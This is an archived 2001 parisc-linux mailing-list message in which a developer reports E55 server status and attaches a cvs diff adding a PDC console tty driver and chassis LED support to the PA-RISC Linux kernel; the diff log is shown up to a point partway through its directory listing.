> When I try to have the code use ucontext (getcontext/setcontext) instead, it
> gets complaints from glibc about setcontext/getcontext being unimplemented.

Hmm... file a bug against that, please.

> the last time i worked on a parisc system i noted that that the 
> stack grew UP and not down.  parisc might do the same.  the linux
> swp code assumes that the stack grows down (atleast i am pretty sure
> it does)

The code in glibc used to assume that.  It's been fixed since we found
it easier to keep the stack growing up.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: E55 status
Date: Mon, 19 Nov 2001 23:42:29 +0100
Organization: private
Lines: 1690
Approved: news@gmane.org
Message-ID: <3BF98AD5.9BCB6861@gmx.at>
References: <3B4396D8.9A33414F@gmx.at> <3BF4E38C.D59603FE@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------1E8A96BFBBE9740FC7B66A32"
X-Trace: ger.gmane.org 1416620784 30585 80.91.229.3 (22 Nov 2014 01:46:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:24 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>,
	grundler@puffin.external.hp.com, ryan_bradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 15:42:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFF64482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 15:42:39 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011119224230.LWIX1234.viefep11-int.chello.at@gmx.at>;
          Mon, 19 Nov 2001 23:42:30 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13147

This is a multi-part message in MIME format.
--------------1E8A96BFBBE9740FC7B66A32
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hallo Thomas,
hallo Grant,

finally the CVS was working again.

I have no login for your CVS so I will send the `cvs diff -u' and the
newly
added file `drivers/char/pdc_drv.c'.

Some notes here:

* In my console drivers (serial and PDC) I always added code, that the
machine
can be resetted via `^\' (Ctrl-\) for development (especially for
machines 
without reset button as the E55 server). I removed this code for sending
the
CVS diffs.

* There is no CONFIG_ stuff for the PDC console, the console is
initialised
	in `arch/kernel/pdc_cons.c' (EARLY_BOOTUP_DEBUG) and the tty driver
	has a __init constructor routine.

  ATTENTION: It is very important to have the init code in the
pdc_cons.c
	executed before the ttyBn driver is used, otherwise the first access
	to the PDC driver (echo hallo > /dev/ttyB0) leads to a blocking
	machine ....

  The driver can also be used on machines running true serial console,
	by `echo hallo > /dev/ttyB0'. But the mix on the serial console
	of ttyS0 driver and ttyB0 driver is not recommended !!

* The driver as console is only tested on the server E55 (model
9000/856)
	and the HP apollo 700 series (9000/720/50), in both cases the
	machine was configured to use the serial line.
	Further I tested the kernel on a 712/60 machine, having PDC console
	on STI device. Here the PDC console is used correctly, but then
	the console switches to the colored frame buffer (and the text is
	completly BLUE (!) and is overwriting the poor TUX !
	I think here is a bug in the console handling not staying on the
	configured device (has nothing to do with my stuff) or it is a
	feature ti have full STI support if it possible ... 
	But /dev/ttyB0 is never used together with an STI able machine .. :-)

* I added the `CP:' to my modules or `XXX CP:' if there is something to
do ...

* As I cannot checkin, I have no way to give change logs, so I will do
here
a short list:

- pdc_drv.c: Added file, PDC console tty driver for linux, /dev/ttyBn, 
	n=0 (only)

- pdc_cons.c: Added keyboard polling routine, added an function entry to
get
	an device entry for the console driver to "connet" the pdc_cons 
	driver to the PDC tty driver

- pdc.h: Added prototypes used for console and LEDs

- firmware.c: Added reading access to the PDC console (was former used
for 
	waiting on a keypress), readded the pdc_chassis_disp () (was removed 
	in the meantime, but at the current state I use it for the E55 LEDs).

- led.c: Added a "trial" version of a LED controlling. Only RUN and
ATTENTION
	LED is supported. RUN/ATTENTION stated derived from state of the 
	HEART-BEAT LED (flashing->RUN, off->ATTENTION), and so the LEDs are 
	also accessable via PROC-FS. The LED activation of my routines is
	derived from the model name (hard coded 9000/856) for my tests.
	How to deal with this in the future ?

- major.h: Added free major 30 (character device) for PDC console
(ttyBn).

- drivers/char/Makefile: pdc_drv.o added (per hack) to arch PARISC
dependent code.

The code builds warning-free.

Again to test:

1. Compile and have a look that the pdc_drv.o is included in
drivers/char/Makefile
2. dev entry /dev/ttyB0 c 30 0
3. /etc/inittab, have a login at ttyB0
4. Added the `ttyB0' device to /etc/securetty, if you want login as
`root' on the
	console
5. kernel line parameter with `console=ttyB0'

(ad 1): In the future (if somebody can help me) we want to have a config
item in
the kernel configuration for the PDC console. 


I attch two files:
	- linux-cvs.diff-20011119.log
		Diffs displayed by `cvs -z9 diff -u .'
	- pdc_drv.c
		The new file (simple displayed as `? drivers/char/pdc_drv.c')
		The file has to be checked in at `drivers/char'

I hope you can use it and will add it to the mainstream kernel ...

Bye
Christoph P.



Thomas Marteau wrote:
> 
> Hi Christoph,
> 
>         I am updating our list of working hardware. Could you tell me if you
> know something about the status of PA/Linux on E55?
> 
> Thanks for your answer, Thomas.
> ESIEE Team

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------1E8A96BFBBE9740FC7B66A32
Content-Type: text/plain; charset=us-ascii;
 name="linux-cvs.diff-20011119.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="linux-cvs.diff-20011119.log"

? drivers/char/pdc_drv.c
cvs server: Diffing .
cvs server: Diffing Documentation
cvs server: Diffing Documentation/DocBook
cvs server: Diffing Documentation/arm
cvs server: Diffing Documentation/arm/SA1100
cvs server: Diffing Documentation/arm/empeg
cvs server: Diffing Documentation/arm/nwfpe
cvs server: Diffing Documentation/cdrom
cvs server: Diffing Documentation/cris
cvs server: Diffing Documentation/fb
cvs server: Diffing Documentation/filesystems
cvs server: Diffing Documentation/filesystems/devfs
cvs server: Diffing Documentation/i2c
cvs server: Diffing Documentation/i386
cvs server: Diffing Documentation/ia64
cvs server: Diffing Documentation/isdn
cvs server: Diffing Documentation/kbuild
cvs server: Diffing Documentation/m68k
cvs server: Diffing Documentation/mips
cvs server: Diffing Documentation/networking
cvs server: Diffing Documentation/parisc
cvs server: Diffing Documentation/power
cvs server: Diffing Documentation/powerpc
cvs server: Diffing Documentation/s390
cvs server: Diffing Documentation/sound
cvs server: Diffing Documentation/sparc
cvs server: Diffing Documentation/sysctl
cvs server: Diffing Documentation/telephony
cvs server: Diffing Documentation/usb
cvs server: Diffing Documentation/video4linux
cvs server: Diffing Documentation/video4linux/bttv
cvs server: Diffing Documentation/vm
cvs server: Diffing arch
cvs server: Diffing arch/alpha
cvs server: Diffing arch/alpha/boot
cvs server: Diffing arch/alpha/boot/tools
cvs server: Diffing arch/alpha/kernel
cvs server: Diffing arch/alpha/lib
cvs server: Diffing arch/alpha/math-emu
cvs server: Diffing arch/alpha/mm
cvs server: Diffing arch/arm
cvs server: Diffing arch/arm/boot
cvs server: Diffing arch/arm/boot/bootp
cvs server: Diffing arch/arm/boot/compressed
cvs server: Diffing arch/arm/def-configs
cvs server: Diffing arch/arm/kernel
cvs server: Diffing arch/arm/lib
cvs server: Diffing arch/arm/mach-anakin
cvs server: Diffing arch/arm/mach-ebsa110
cvs server: Diffing arch/arm/mach-footbridge
cvs server: Diffing arch/arm/mach-integrator
cvs server: Diffing arch/arm/mach-sa1100
cvs server: Diffing arch/arm/mach-shark
cvs server: Diffing arch/arm/mm
cvs server: Diffing arch/arm/nwfpe
cvs server: Diffing arch/arm/tools
cvs server: Diffing arch/cris
cvs server: Diffing arch/cris/boot
cvs server: Diffing arch/cris/boot/compressed
cvs server: Diffing arch/cris/boot/rescue
cvs server: Diffing arch/cris/boot/tools
cvs server: Diffing arch/cris/drivers
cvs server: Diffing arch/cris/drivers/examples
cvs server: Diffing arch/cris/drivers/lpslave
cvs server: Diffing arch/cris/kernel
cvs server: Diffing arch/cris/lib
cvs server: Diffing arch/cris/mm
cvs server: Diffing arch/i386
cvs server: Diffing arch/i386/boot
cvs server: Diffing arch/i386/boot/compressed
cvs server: Diffing arch/i386/boot/tools
cvs server: Diffing arch/i386/kernel
cvs server: Diffing arch/i386/lib
cvs server: Diffing arch/i386/math-emu
cvs server: Diffing arch/i386/mm
cvs server: Diffing arch/ia64
cvs server: Diffing arch/ia64/boot
cvs server: Diffing arch/ia64/dig
cvs server: Diffing arch/ia64/hp
cvs server: Diffing arch/ia64/ia32
cvs server: Diffing arch/ia64/kdb
cvs server: Diffing arch/ia64/kernel
cvs server: Diffing arch/ia64/lib
cvs server: Diffing arch/ia64/mm
cvs server: Diffing arch/ia64/sn
cvs server: Diffing arch/ia64/sn/fprom
cvs server: Diffing arch/ia64/sn/io
cvs server: Diffing arch/ia64/sn/sn1
cvs server: Diffing arch/ia64/sn/tools
cvs server: Diffing arch/ia64/tools
cvs server: Diffing arch/m68k
cvs server: Diffing arch/m68k/amiga
cvs server: Diffing arch/m68k/apollo
cvs server: Diffing arch/m68k/atari
cvs server: Diffing arch/m68k/bvme6000
cvs server: Diffing arch/m68k/fpsp040
cvs server: Diffing arch/m68k/hp300
cvs server: Diffing arch/m68k/ifpsp060
cvs server: Diffing arch/m68k/ifpsp060/src
cvs server: Diffing arch/m68k/kernel
cvs server: Diffing arch/m68k/lib
cvs server: Diffing arch/m68k/mac
cvs server: Diffing arch/m68k/math-emu
cvs server: Diffing arch/m68k/mm
cvs server: Diffing arch/m68k/mvme147
cvs server: Diffing arch/m68k/mvme16x
cvs server: Diffing arch/m68k/q40
cvs server: Diffing arch/m68k/sun3
cvs server: Diffing arch/m68k/sun3/prom
cvs server: Diffing arch/m68k/sun3x
cvs server: Diffing arch/m68k/tools
cvs server: Diffing arch/m68k/tools/amiga
cvs server: Diffing arch/mips
cvs server: Diffing arch/mips/algor
cvs server: Diffing arch/mips/arc
cvs server: Diffing arch/mips/baget
cvs server: Diffing arch/mips/baget/prom
cvs server: Diffing arch/mips/boot
cvs server: Diffing arch/mips/cobalt
cvs server: Diffing arch/mips/ddb5074
cvs server: Diffing arch/mips/ddb5476
cvs server: Diffing arch/mips/dec
cvs server: Diffing arch/mips/dec/boot
cvs server: Diffing arch/mips/dec/prom
cvs server: Diffing arch/mips/ite-boards
cvs server: Diffing arch/mips/ite-boards/generic
cvs server: Diffing arch/mips/ite-boards/qed-4n-s01b
cvs server: Diffing arch/mips/jazz
cvs server: Diffing arch/mips/kernel
cvs server: Diffing arch/mips/lib
cvs server: Diffing arch/mips/math-emu
cvs server: Diffing arch/mips/mips-boards
cvs server: Diffing arch/mips/mips-boards/atlas
cvs server: Diffing arch/mips/mips-boards/generic
cvs server: Diffing arch/mips/mips-boards/malta
cvs server: Diffing arch/mips/mm
cvs server: Diffing arch/mips/orion
cvs server: Diffing arch/mips/sgi
cvs server: Diffing arch/mips/sgi/kernel
cvs server: Diffing arch/mips/sni
cvs server: Diffing arch/mips/tools
cvs server: Diffing arch/mips64
cvs server: Diffing arch/mips64/arc
cvs server: Diffing arch/mips64/boot
cvs server: Diffing arch/mips64/kernel
cvs server: Diffing arch/mips64/lib
cvs server: Diffing arch/mips64/math-emu
cvs server: Diffing arch/mips64/mm
cvs server: Diffing arch/mips64/sgi-ip22
cvs server: Diffing arch/mips64/sgi-ip27
cvs server: Diffing arch/mips64/tools
cvs server: Diffing arch/parisc
cvs server: Diffing arch/parisc/boot
cvs server: Diffing arch/parisc/boot/boot_code
cvs server: Diffing arch/parisc/debian-configs
cvs server: Diffing arch/parisc/hpux
cvs server: Diffing arch/parisc/kernel
Index: arch/parisc/kernel/firmware.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/firmware.c,v
retrieving revision 1.36
diff -u -r1.36 firmware.c
--- arch/parisc/kernel/firmware.c	2001/11/13 23:25:45	1.36
+++ arch/parisc/kernel/firmware.c	2001/11/19 22:17:48
@@ -136,6 +136,15 @@
 }
 
 /**
+ * pdc_chassis_disp, used for E-series (for example E55)
+ */
+
+int pdc_chassis_disp(unsigned long disp)
+{
+        return mem_pdc_call(PDC_CHASSIS, PDC_CHASSIS_DISP, disp);
+}
+
+/**
  * pdc_chassis_info - Return chassis information.
  * @result: The return buffer.
  * @chassis_info: The memory buffer address.
@@ -681,6 +690,59 @@
                     PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
                     __pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
         spin_unlock_irqrestore(&pdc_lock, flags);
+}
+
+/* write character directly without convertings */
+
+void pdc_iodc_outc(unsigned char c)
+{
+	/* fill buffer with one caracter and print it */
+        static int __attribute__((aligned(8)))   iodc_retbuf[32];
+        static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	unsigned int n;
+
+	iodc_dbuf[0] = c;
+	n = 1;
+	{
+		real32_call(PAGE0->mem_cons.iodc_io,
+			(unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
+			PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
+			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
+	}
+}
+
+/* read NON-BLOCKING a character from the PDC console,
+   returns -1, if no key is present */
+
+int pdc_iodc_getc(void)
+{
+        static int __attribute__((aligned(8)))   iodc_retbuf[32];
+        static char __attribute__((aligned(64))) iodc_dbuf[4096];
+	int ch;
+	int status;
+
+	/* Bail if no console input device. */
+	if (!PAGE0->mem_kbd.iodc_io)
+		return 0;
+	
+	/* wait for a keyboard (rs232)-input */
+	do {
+		unsigned long flags;
+
+		save_flags(flags);
+		cli();
+		status = real32_call(PAGE0->mem_kbd.iodc_io,
+			(unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
+			PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers),
+			__pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+		restore_flags(flags);
+		ch = *iodc_dbuf;	/* save the character directly to ch */
+	} while (0) ;                   /* once !! */
+
+	if (*iodc_retbuf == 0)	        /* no key */
+	    ch = -1;
+	
+	return ch;
 }
 
 int pdc_sti_call(unsigned long func, unsigned long flags,
Index: arch/parisc/kernel/led.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.24
diff -u -r1.24 led.c
--- arch/parisc/kernel/led.c	2001/10/22 15:45:36	1.24
+++ arch/parisc/kernel/led.c	2001/11/19 22:17:49
@@ -51,6 +51,30 @@
 static int led_lanrxtx = 1;
 static char lcd_text[32] = {0};
 
+/*****
+ * stuff for E55 and similar server with RUN/ATTENTION LED
+ */
+
+#define LED_CHASSIS_OFF            0
+#define LED_CHASSIS_FAULT          1
+#define LED_CHASSIS_TEST           2
+#define LED_CHASSIS_INIT           3
+#define LED_CHASSIS_SHUTDOWN       4
+#define LED_CHASSIS_WARNING        5
+#define LED_CHASSIS_RUN            6
+#define LED_CHASSIS_ALL_ON         7
+
+#define LED_CHASSIS_BYTE(v) ((unsigned long)((v) << 1))
+#define LED_CHASSIS_DISP_DATA(v) ((unsigned long)(LED_CHASSIS_BYTE(v) << 16))
+extern int pdc_chassis_disp (unsigned long);
+extern int pdc_model_sysmodel (char *);
+static int use_chassis_call = 0;
+static int chassis_run_mode = 0;
+
+void led_chassis_run (void);
+void led_chassis_attention (void);
+void led_chassis_init (void);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
@@ -450,13 +474,24 @@
 
 	if (led_heartbeat)
 	{
+		/* for server with RUN led, switch it on, heartbeat is active,
+		   led_chassis_run() checks itself, if a machine of this
+		   type is used */
+		led_chassis_run ();
+		
 		/* flash heartbeat-LED like a real heart (2 x short then a long delay) */
 		if (count_HZ<HEARTBEAT_LEN || 
 		    (count_HZ>=HEARTBEAT_2ND_RANGE_START && count_HZ<HEARTBEAT_2ND_RANGE_END)) 
 		    currentleds |= LED_HEARTBEAT;
 		else
 		    currentleds &= ~LED_HEARTBEAT;
+	} else {
+		/* if no heartbeat, also let light ATTENTION on some
+		   machine. led_chassis_attention() will check itself,
+		   if a machine of this type is used */
+		led_chassis_attention();
 	}
+	
 
 	/* gather network and diskio statistics and flash LEDs respectively */
 
@@ -541,7 +576,10 @@
 	else
 		if (led_func_ptr)
 			led_func_ptr(0xff); /* turn all LEDs ON */
-	
+	/* call led_chassis_attention(), routine cheks itself, if
+	   this display type is valid */
+	led_chassis_attention();
+
 	unregister_reboot_notifier(&led_notifier);
 	return NOTIFY_OK;
 }
@@ -673,6 +711,54 @@
 	return lcd_info.lcd_width;
 }
 
+
+/*
+   ** HP E55 (and similar) stuff
+   **
+   ** These series has only static LED
+   **
+   ** At the moment only two will be supported
+   **    RUN
+   **    ATTENTION
+   **
+   ** These to LEDs are used disjunct
+*/
+
+void led_chassis_run (void)
+{
+	if (use_chassis_call && !chassis_run_mode) {
+		pdc_chassis_disp (LED_CHASSIS_DISP_DATA(LED_CHASSIS_RUN));
+		chassis_run_mode = 1;
+	}
+}
+
+void led_chassis_attention (void)
+{
+	if (use_chassis_call && chassis_run_mode) {
+		pdc_chassis_disp (LED_CHASSIS_DISP_DATA(LED_CHASSIS_INIT));
+		chassis_run_mode = 0;
+	}
+}
+
+void led_chassis_init (void)
+{
+#define MODBUF_LEN 32
+	char buf [MODBUF_LEN];  /* small enough to lay on stack */
+	
+	if (pdc_model_sysmodel (buf) < 0) {
+		printk (KERN_NOTICE "%s: error reading sys model\n", 
+			__FUNCTION__);
+		return;
+	}
+	
+	if (strncmp (buf, "9000/856", MODBUF_LEN) == 0)
+		use_chassis_call = 1;
+
+	/* XXX CP: Add other models ! */
+
+	chassis_run_mode = 0;
+}
+
 /*
    ** led_init()
    ** 
@@ -703,6 +789,8 @@
 	}
 
 	/* initialize the struct, so that we can check for valid return values */
+	led_chassis_init();
+
 	lcd_info.model = DISPLAY_MODEL_NONE;
 	chassis_info.actcnt = chassis_info.maxcnt = 0;
 
Index: arch/parisc/kernel/pdc_cons.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/pdc_cons.c,v
retrieving revision 1.29
diff -u -r1.29 pdc_cons.c
--- arch/parisc/kernel/pdc_cons.c	2001/11/13 23:35:01	1.29
+++ arch/parisc/kernel/pdc_cons.c	2001/11/19 22:17:49
@@ -12,9 +12,19 @@
 
 /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems. 
  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
-#undef EARLY_BOOTUP_DEBUG
 
+/* #undef EARLY_BOOTUP_DEBUG */
 
+/* CP 
+   activate PDC console in any case for testing the ttyB0
+
+   TODO: This must be activated if a "CONFIG_PDC_CONSOLE" is
+   configured (necessary), otherwise the EARLY_BOOTUP_DEBUG should
+   be undefined !
+*/
+#define EARLY_BOOTUP_DEBUG
+
+
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/console.h>
@@ -35,16 +45,32 @@
 		pdc_iodc_putc(*s++);
 }
 
+void pdc_outc(unsigned char c)
+{
+	pdc_iodc_outc(c);
+}
+
+
+int pdc_console_poll_key(struct console *co)
+{
+	return pdc_iodc_getc();
+}
+
 static int pdc_console_setup(struct console *co, char *options)
 {
 	return 0;
 }
 
+static kdev_t pdc_console_device (struct console *c)
+{
+        return MKDEV(PDCCONS_MAJOR, 0);
+}
+
 static struct console pdc_cons = {
 	name:		"ttyB",
 	write:		pdc_console_write,
 	read:		NULL,
-	device:		NULL, 
+	device:		pdc_console_device, 
 	wait_key:	NULL,
 	unblank:	NULL,
 	setup:		pdc_console_setup,
cvs server: Diffing arch/parisc/lib
cvs server: Diffing arch/parisc/math-emu
cvs server: Diffing arch/parisc/mm
cvs server: Diffing arch/parisc/real
cvs server: Diffing arch/parisc/tools
cvs server: Diffing arch/parisc64
cvs server: Diffing arch/parisc64/hpux
cvs server: Diffing arch/parisc64/kernel
cvs server: Diffing arch/parisc64/lib
cvs server: Diffing arch/parisc64/mm
cvs server: Diffing arch/parisc64/real
cvs server: Diffing arch/parisc64/tools
cvs server: Diffing arch/ppc
cvs server: Diffing arch/ppc/8260_io
cvs server: Diffing arch/ppc/8xx_io
cvs server: Diffing arch/ppc/amiga
cvs server: Diffing arch/ppc/boot
cvs server: Diffing arch/ppc/boot/chrp
cvs server: Diffing arch/ppc/boot/common
cvs server: Diffing arch/ppc/boot/images
cvs server: Diffing arch/ppc/boot/include
cvs server: Diffing arch/ppc/boot/lib
cvs server: Diffing arch/ppc/boot/mbx
cvs server: Diffing arch/ppc/boot/pmac
cvs server: Diffing arch/ppc/boot/prep
cvs server: Diffing arch/ppc/boot/tree
cvs server: Diffing arch/ppc/boot/utils
cvs server: Diffing arch/ppc/chrpboot
cvs server: Diffing arch/ppc/coffboot
cvs server: Diffing arch/ppc/configs
cvs server: Diffing arch/ppc/kernel
cvs server: Diffing arch/ppc/lib
cvs server: Diffing arch/ppc/math-emu
cvs server: Diffing arch/ppc/mbxboot
cvs server: Diffing arch/ppc/mm
cvs server: Diffing arch/ppc/treeboot
cvs server: Diffing arch/ppc/xmon
cvs server: Diffing arch/s390
cvs server: Diffing arch/s390/boot
cvs server: Diffing arch/s390/kernel
cvs server: Diffing arch/s390/lib
cvs server: Diffing arch/s390/math-emu
cvs server: Diffing arch/s390/mm
cvs server: Diffing arch/s390/tools
cvs server: Diffing arch/s390/tools/dasdfmt
cvs server: Diffing arch/s390/tools/silo
cvs server: Diffing arch/s390x
cvs server: Diffing arch/s390x/boot
cvs server: Diffing arch/s390x/kernel
cvs server: Diffing arch/s390x/lib
cvs server: Diffing arch/s390x/mm
cvs server: Diffing arch/s390x/tools
cvs server: Diffing arch/s390x/tools/dasdfmt
cvs server: Diffing arch/s390x/tools/silo
cvs server: Diffing arch/sh
cvs server: Diffing arch/sh/boot
cvs server: Diffing arch/sh/boot/compressed
cvs server: Diffing arch/sh/kernel
cvs server: Diffing arch/sh/lib
cvs server: Diffing arch/sh/mm
cvs server: Diffing arch/sh/stboards
cvs server: Diffing arch/sparc
cvs server: Diffing arch/sparc/ap1000
cvs server: Diffing arch/sparc/boot
cvs server: Diffing arch/sparc/kernel
cvs server: Diffing arch/sparc/lib
cvs server: Diffing arch/sparc/math-emu
cvs server: Diffing arch/sparc/mm
cvs server: Diffing arch/sparc/prom
cvs server: Diffing arch/sparc64
cvs server: Diffing arch/sparc64/boot
cvs server: Diffing arch/sparc64/kernel
cvs server: Diffing arch/sparc64/lib
cvs server: Diffing arch/sparc64/math-emu
cvs server: Diffing arch/sparc64/mm
cvs server: Diffing arch/sparc64/prom
cvs server: Diffing arch/sparc64/solaris
cvs server: Diffing drivers
cvs server: Diffing drivers/acorn
cvs server: Diffing drivers/acorn/block
cvs server: Diffing drivers/acorn/char
cvs server: Diffing drivers/acorn/net
cvs server: Diffing drivers/acorn/scsi
cvs server: Diffing drivers/acpi
cvs server: Diffing drivers/acpi/common
cvs server: Diffing drivers/acpi/debugger
cvs server: Diffing drivers/acpi/dispatcher
cvs server: Diffing drivers/acpi/events
cvs server: Diffing drivers/acpi/executer
cvs server: Diffing drivers/acpi/hardware
cvs server: Diffing drivers/acpi/include
cvs server: Diffing drivers/acpi/include/platform
cvs server: Diffing drivers/acpi/interpreter
cvs server: Diffing drivers/acpi/namespace
cvs server: Diffing drivers/acpi/ospm
cvs server: Diffing drivers/acpi/ospm/ac_adapter
cvs server: Diffing drivers/acpi/ospm/battery
cvs server: Diffing drivers/acpi/ospm/busmgr
cvs server: Diffing drivers/acpi/ospm/button
cvs server: Diffing drivers/acpi/ospm/ec
cvs server: Diffing drivers/acpi/ospm/include
cvs server: Diffing drivers/acpi/ospm/processor
cvs server: Diffing drivers/acpi/ospm/system
cvs server: Diffing drivers/acpi/ospm/thermal
cvs server: Diffing drivers/acpi/parser
cvs server: Diffing drivers/acpi/resources
cvs server: Diffing drivers/acpi/tables
cvs server: Diffing drivers/acpi/utilities
cvs server: Diffing drivers/ap1000
cvs server: Diffing drivers/atm
cvs server: Diffing drivers/block
cvs server: Diffing drivers/block/paride
cvs server: Diffing drivers/bluetooth
cvs server: Diffing drivers/cdrom
cvs server: Diffing drivers/char
Index: drivers/char/Makefile
===================================================================
RCS file: /var/cvs/linux/drivers/char/Makefile,v
retrieving revision 1.23
diff -u -r1.23 Makefile
--- drivers/char/Makefile	2001/11/09 23:35:36	1.23
+++ drivers/char/Makefile	2001/11/19 22:17:51
@@ -64,6 +64,10 @@
 endif
 
 ifeq ($(ARCH),parisc)
+   # XXX CP: Added for all PA-RISC architecture, 
+   #         should be made configurable ...
+   obj-y += pdc_drv.o
+
    ifdef CONFIG_GSC_PS2
      KEYBD   = hp_psaux.o hp_keyb.o
    else
cvs server: Diffing drivers/char/agp
cvs server: Diffing drivers/char/drm
cvs server: Diffing drivers/char/ftape
cvs server: Diffing drivers/char/ftape/compressor
cvs server: Diffing drivers/char/ftape/lowlevel
cvs server: Diffing drivers/char/ftape/zftape
cvs server: Diffing drivers/char/ip2
cvs server: Diffing drivers/char/joystick
cvs server: Diffing drivers/char/pcmcia
cvs server: Diffing drivers/char/rio
cvs server: Diffing drivers/dio
cvs server: Diffing drivers/fc4
cvs server: Diffing drivers/gsc
cvs server: Diffing drivers/i2c
cvs server: Diffing drivers/i2o
cvs server: Diffing drivers/ide
cvs server: Diffing drivers/ieee1394
cvs server: Diffing drivers/input
cvs server: Diffing drivers/isdn
cvs server: Diffing drivers/isdn/act2000
cvs server: Diffing drivers/isdn/avmb1
cvs server: Diffing drivers/isdn/divert
cvs server: Diffing drivers/isdn/eicon
cvs server: Diffing drivers/isdn/hisax
cvs server: Diffing drivers/isdn/hysdn
cvs server: Diffing drivers/isdn/icn
cvs server: Diffing drivers/isdn/isdnloop
cvs server: Diffing drivers/isdn/pcbit
cvs server: Diffing drivers/isdn/sc
cvs server: Diffing drivers/isdn/tpam
cvs server: Diffing drivers/macintosh
cvs server: Diffing drivers/md
cvs server: Diffing drivers/media
cvs server: Diffing drivers/media/radio
cvs server: Diffing drivers/media/video
cvs server: Diffing drivers/message
cvs server: Diffing drivers/message/fusion
cvs server: Diffing drivers/message/fusion/lsi
cvs server: Diffing drivers/misc
cvs server: Diffing drivers/mtd
cvs server: Diffing drivers/mtd/chips
cvs server: Diffing drivers/mtd/devices
cvs server: Diffing drivers/mtd/maps
cvs server: Diffing drivers/mtd/nand
cvs server: Diffing drivers/net
cvs server: Diffing drivers/net/appletalk
cvs server: Diffing drivers/net/arcnet
cvs server: Diffing drivers/net/fc
cvs server: Diffing drivers/net/hamradio
cvs server: Diffing drivers/net/hamradio/soundmodem
cvs server: Diffing drivers/net/irda
cvs server: Diffing drivers/net/pcmcia
cvs server: Diffing drivers/net/sk98lin
cvs server: Diffing drivers/net/sk98lin/h
cvs server: Diffing drivers/net/skfp
cvs server: Diffing drivers/net/skfp/h
cvs server: Diffing drivers/net/tokenring
cvs server: Diffing drivers/net/tulip
cvs server: Diffing drivers/net/wan
cvs server: Diffing drivers/net/wan/lmc
cvs server: Diffing drivers/net/wireless
cvs server: Diffing drivers/nubus
cvs server: Diffing drivers/parport
cvs server: Diffing drivers/pci
cvs server: Diffing drivers/pcmcia
cvs server: Diffing drivers/pnp
cvs server: Diffing drivers/s390
cvs server: Diffing drivers/s390/block
cvs server: Diffing drivers/s390/char
cvs server: Diffing drivers/s390/misc
cvs server: Diffing drivers/s390/net
cvs server: Diffing drivers/sbus
cvs server: Diffing drivers/sbus/audio
cvs server: Diffing drivers/sbus/char
cvs server: Diffing drivers/scsi
cvs server: Diffing drivers/scsi/aic7xxx
cvs server: Diffing drivers/scsi/aic7xxx/aicasm
cvs server: Diffing drivers/scsi/aic7xxx_old
cvs server: Diffing drivers/scsi/pcmcia
cvs server: Diffing drivers/sgi
cvs server: Diffing drivers/sgi/char
cvs server: Diffing drivers/sound
cvs server: Diffing drivers/sound/cs4281
cvs server: Diffing drivers/sound/dmasound
cvs server: Diffing drivers/sound/emu10k1
cvs server: Diffing drivers/sound/lowlevel
cvs server: Diffing drivers/tc
cvs server: Diffing drivers/telephony
cvs server: Diffing drivers/usb
cvs server: Diffing drivers/usb/maps
cvs server: Diffing drivers/usb/serial
cvs server: Diffing drivers/usb/storage
cvs server: Diffing drivers/video
cvs server: Diffing drivers/video/aty
